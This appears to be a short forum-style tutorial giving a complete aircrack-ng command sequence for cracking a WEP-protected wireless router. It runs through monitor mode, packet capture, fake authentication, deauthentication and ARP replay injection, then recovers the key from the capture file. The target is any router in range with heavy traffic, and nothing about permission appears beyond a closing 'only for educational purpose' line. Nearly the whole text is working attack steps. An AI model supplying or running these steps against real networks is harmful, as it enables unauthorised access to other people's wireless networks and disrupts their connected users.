Open shell console and type in:
Airmon-ng start wlan0
it will say that monitor mode has started on mon0 or mon1 or mon whatever. then type clear to clear that data.
Airodump-ng mon0 (or whatever monitoring mode started on)
it will give you a list of wireless routers that are in range of your computer. pick the one with the most data currently going on for fastest results.
airodump-ng -w (filename u want to use) -c (channel the router is on) --bssid (the bssid) mon0
Then it will start packet inj, then you quickly open a new shell console.
aireplay-ng -1 0 -a (the bssid) mon0
new shell console
aireplay-ng -0 5 -a (the bssid) mon0
new shell console
aireplay-ng -3 -b (the bssid) mon0
at this point your data per second should be around 100-500 per second and then just wait until the data reaches 40,000
when it does you can hold control and hit C on all the shell consoles to stop the commands.
Open a new shell console or use one already up and type in dir. this will show you the name of the file (the -w (filename)) in case you have forgotten what you named it. It will be a .cap file
Then type aircrack-ng (file name)
For example: aircrack-ng bobsrouter-01.cap
aircrack will say key found! and then you just copy the info down.
This is only for educational purpose...
PrinceMahen